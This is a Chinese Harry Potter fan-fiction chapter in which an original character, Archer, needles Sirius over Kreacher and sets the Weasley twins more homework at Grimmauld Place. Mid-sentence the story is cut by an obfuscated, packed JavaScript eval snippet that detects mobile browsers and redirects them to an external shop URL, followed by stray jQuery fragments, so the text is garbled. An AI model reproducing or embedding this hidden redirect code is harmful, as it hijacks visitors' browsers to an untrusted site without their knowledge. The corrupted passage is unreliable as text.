“说得倒很像是真的。”小天狼星在门口怒气冲冲地瞪着小精灵。
克利切一看见小天狼星立刻深鞠一躬，身子低得简直滑稽可笑，猪鼻子一般的大鼻子压扁在地上。
“快站起来，”小天狼星不耐烦地说，“好了，你想做什么？”
“克利切在打扫卫生，”小精灵又说了一遍，“克利切终生为高贵的布莱克家族效力——”
阿切尔饶有兴趣地看着这只很老的家养小精灵。
“可是房子一天比一天黑暗，它太脏了。”小天狼星说。
“少爷总是喜欢开点儿小玩笑，”克利切说着又鞠了一躬，随即压低声音念叨开了，“少爷是个讨厌的、忘恩负义的下流坯，伤透了他母亲的心——”
“我母亲没有心，克利切，”小天狼星没好气地说，“她完全是靠怨恨维持生命的。”
克利切说话时又鞠了一躬。“不管少爷怎么说，”他愤愤不平地嘟哝道，“少爷连给他母亲擦鞋底都不配，哦，我可怜的女主人啊，如果他看见克利切在服侍少爷会怎么说呢，女主人是多么恨他啊，他多么令人失望——”
阿切尔差点绷不住又要笑出声了，不得不说，看小天狼星挨骂也是她的乐趣之一。
“我问你到底打算做什么。”小天狼星冷冷地说，“每次你出来假装打扫卫生，可是把什么东西都偷偷拿到你的房间，不让我们扔掉。”
“克利切永远不会把少爷家里的任何东西从合适的地方拿走。”小精灵说，然后又很快地念叨起来，“如果挂毯被扔掉了，女主人永远都不会原谅克利切的，挂毯在这个家里已经有七个世纪了，克利切一定要保住它，克利切决不让少爷，还有那些杂种、败类和小崽子把挂毯毁掉——”
“我就知道是这么回事。”小天狼星说，朝对面墙上投去轻蔑的一瞥，“她会在挂毯后面再念一个永久粘贴咒，对此我毫不怀疑，但是如果我能够摆脱它，我决不会犹豫。好了，你走吧，克利切。”
克利切似乎不敢违抗直接的命令，不过，当他拖着两只脚走出去时，他投给小天狼星的目光充满了刻骨铭心的憎恨，而且他走出房间时嘴里一直念念有词。
“——从阿兹卡班回来，倒对克利切指手画脚了，哦，我可怜的女主人。如果她看到房子变成这样，会说什么呢，卑鄙小人住了进来，她的宝贝被扔了出去，她发誓不认他这个儿子的，如今他又回来了，据说他还是个杀人犯——”
“你再念叨，我就真的要杀人啦！”小天狼星烦躁地说，对着小精灵把门重重地关上了。
“小天狼星，他的脑子不正常，”赫敏恳求道，“我想他并不知道我们能听见他的话。”
“他独自待的时间太长了，”小天狼星说，“从我母亲的肖像里接受了一些疯疯癫癫的命令，自己对自己说话，不过他以前就是一个可恶的小——”
“如果你放他自由呢，”赫敏抱有希望地说，“说不定——”
“我们不能放他自由，他对凤凰社的事情知道得太多了。”小天狼星粗暴地说，“而且，不管怎么说，那份惊吓也会要了他的命。你突然对他提出要他离开这个家，看看他会有什么反应。”
“那你可得警惕一些。”阿切尔轻松地笑着，“假如你不想放他自由的话——我看他对你的怨恨，完全足以让他表面服从，实际违背地做出一些什么事情来呢。”
“用不着你来说，布拉赫尔。”小天狼星嘀咕。
阿切尔听到了也不以为意，她耸了耸肩：“弗雷德，乔治，带我去检查你们的作业。”
两个本来在打打闹闹的学生僵硬了。
“现在？可是教授——”
“待会就吃午饭了。”阿切尔慢悠悠地说，顺带瞥了铁三角一眼，除去赫敏，其他两个孩子全都被这道目光看得两股战战，几欲先走。
但是她没有点他们的名，而是一锤定音：“所以，我认为，现在检查你们的作业十分合适。”
中午吃饭的时候，哈利看到韦斯莱双子完全是蔫蔫地从外面走进来。
“你们敢相信吗？她又布置给我们一大堆作业！”弗雷德一进门就说。
“简直整个人生都灰暗了！”乔治绝望地说。
阿切尔正巧走到门口：“什么灰暗了？”
“天空！”韦斯莱双子顿时情深意切地说，“我们猜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266386|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
它会下雨呢！”
阿切尔一直到拿起三明治吃，也同样是什么反应也没有，看样子似乎蒙混过关了。
只是弗雷德和乔治刚松一口气，就听到那道满含笑意的声音再次响起：“两个星期后交给我。”
哪怕是赫敏，都忍不住同情地看向弗雷德和乔治。
但是哈利却觉得他怎么也同情不起来。
自从前一天晚上吃完饭之后，他就再没有想过受审的事。他终于回到了他最喜欢的人身边，听人们讲述着正在发生的事情，这使他非常兴奋，早就把这件事忘到了九霄云外。可是刚刚听了小天狼星说要陪他去受审的话，那种万念俱灰的恐惧感又回来了。
他呆呆地望着正在狼吞虎咽吃三明治的赫敏和韦斯莱兄弟，想着如果自己不能跟他们一起回霍格沃茨，该是一种什么滋味。
“别担心。”小天狼星说。
哈利抬起头，这才发现小天狼星一直在注视着自己。
“我相信他们一定会宣告你无罪的，《国际保密法》里肯定有允许人们为了保全性命而使用魔法的条款。”
“但如果他们真的开除了我，”哈利小声问，“我能回到这里跟你住在一起吗？”
小天狼星马上转过头，对阿切尔得意并且神采飞扬地一笑，然后才对哈利说：“到时候看吧。”
“如果我知道用不着回到德思礼家去，我就不那么害怕受审了。”哈利央求道。
“你竟然宁愿住在这里，他们肯定对你很坏。”小天狼星皱着眉说。
阿切尔慢悠悠地飘来一句：“是啊，怎么你不是一开始就意识到这件事的呢？”
在阿兹卡班蹲了十多年，因此错过教子人生十多年的小天狼星，再次对阿切尔怒目而视。
“快点，小天狼星，不然就什么吃的也没有了。”韦斯莱夫人喊道。
小天狼星气疯了：“为什么光说我，不说她啊？”
莫丽觉得他莫名其妙：“阿切尔知道自己该做什么，你呢？”
“难道我不是吗？”小天狼星更生气了。
“可能是觉得你幼稚吧。”阿切尔咬完最后一口三明治，笑眯眯地说。